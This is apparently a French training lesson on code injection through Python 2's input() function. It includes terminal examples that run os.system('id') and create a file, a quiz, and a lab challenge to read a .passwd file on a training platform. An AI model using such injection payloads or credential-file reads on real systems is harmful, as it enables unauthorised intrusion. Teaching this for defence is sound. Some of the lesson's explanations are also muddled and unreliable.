Archives Wild Code School
Cybersecurity

Exploitation de la fonction input() en Python (Test Selim)

Quête 5 sur 13 · 2 images archivées

image

Introduction

Dans cet article, nous allons découvrir comment la fonction d'entrée se comporte de manière indésirable dans la version 2.x. Ou plus tôt. Dans la version 2.x. La fonction raw_input() remplace la fonction input().

La fonction input() renvoie une valeur dont le type correspond à ce que l'utilisateur a entré. Dans notre exemple, la variable ma_variable contiendra donc un entier, une chaîne de caractères, un réel, etc. suivant ce que l'utilisateur aura décidé. Si l'utilisateur souhaite entrer une chaîne de caractères, il doit l'entrer comme telle, c'est-à-dire incluse entre des apostrophes ou des guillemets.

python
print 'Veuillez entrer un nombre positif quelconque : ',
ma_variable = input()
print 'Le carré de', ma_variable , 'vaut', ma_variable **2
spacer-small

🤓 Objectifs

✅ Comprendre la fonction input(); en Python. ✅ Exploiter la fonction input(); en injectant du code Python.

👉 Exploiter la fonction input()

Le type de la valeur de retour de input() dépend de la valeur d'entrée. Sans les guillemets doubles, Python peut être problématique car il comprend la valeur d'entrée comme une variable ou un nom de fonction.

Donc, imaginons ce script Python basique :

python
#coding:utf-8
ma_variable = input("Entrez votre prénom : ")
print(ma_variable)

Si nous exécutons ce script, il nous demandera quel est notre prénom et lorsque nous appuierons sur ENTER, cela nous renverra ce que nous avons tapé dans le Terminal.

python
root@ubuntu:/home/ex75/Desktop# python file.py 
Entrez votre prénom : Selim
Selim

Ici dans notre cas, la fonction input() est vulnérable. Car il est possible d'injecter du code Python dans le champs de texte, nous pouvons par exemple import le module os pour exécuter des commandes et modifier le comportement du programme.

python
root@ubuntu:/home/ex75/Desktop# python file.py 
Entrez votre prénom : __import__('os').system('id')
uid=0(root) gid=0(root) groups=0(root)
0

Comme vous pouvez le voir, ici il me demande mon prénom, et je lui ai envoyer le code Python __import__('os').system('id'), cela veut simplement dire que il doit importer le module os en utilisant la fonction system(); et la sortie montre que il m'a bien exécuté la commande id.

Nous pouvons également créer un fichier, si on le souhaite avec la commande touch.

python
root@ubuntu:/home/ex75/Desktop# python file.py 
Entrez votre prénom : __import__('os').system('touch hello_world')
0

Et, donc si je décide de lister le dossier courant, nous pouvons voir que le fichier a été crée avec succès.

python
root@ubuntu:/home/ex75/Desktop# ls
hello_world
↗
Exploit input(); function.
intx0x80.blogspot.com
↗
Explication fonctionnement technique
geeksforgeeks.org

📝 Quiz

quiz
false|||false|||true
# A quoi sert la fonction input(); ?
[x] Cela permet la saisie utilisateur.
[] Permet de convertir un nombre en chaîne de caractère.
[] Incrémentation d'une variable.
[] De récupérer une liste de nombre et de calculer la somme.
# La fonction input(); retourne quel type de valeur ?
[] int.
[] string.
[] float.
[x] Renvoie une valeur de type correspondant à ce qui a été frappé au clavier.
# De quelle version la fonction input() est vulnérable dans Python ?
[x] Python 2.
[] Python 3.
[] Les deux.
# Quelle est la bonne méthode pour importer un module dans la fonction input() ?
[] `import`
[] `_import_`
[] `__import_`
[x] `__import__`
# Quelle est la fonction la plus sécurisée entre raw_input() et input() ?
[] input()
[x] raw_input()

☝️ Résumé

  • La fonction input(); renvoie une valeur dont le type correspond à ce que l'utilisateur a entré.
  • La vulnérabilité de la méthode input(); réside dans le fait que la variable accédant à la valeur de input peut être accédée par n'importe qui simplement en utilisant le nom de la variable ou de la méthode.

💪 Challenge

analysis

Le récit

Un ami de travail propose à vous de tester la sécurité de son application Python. L'entreprise accepte le contrat et vous a mis sur le projet, et maintenant vous devez tester la sécurité de l'application en exploitant la fonctionnalité input().

  • En cliquant sur ce lien, tu seras redirigé vers la plateforme WildHack pour réaliser ce challenge. ⚠️ (Nécessite un accès au VPN)
  • Essaye de lire le fichier .passwd en exploitant la fonction input().
  • Fais une capture d'écran de la lecture du fichier .passwd en montrant également le code Python injectée.
  • Copie-colle tes captures dans un Gist. Partage ton lien public dans la partie solution de cette quête.

Critère de validation :

  • Réussir à lire le fichier .passwd en injectant le code Python.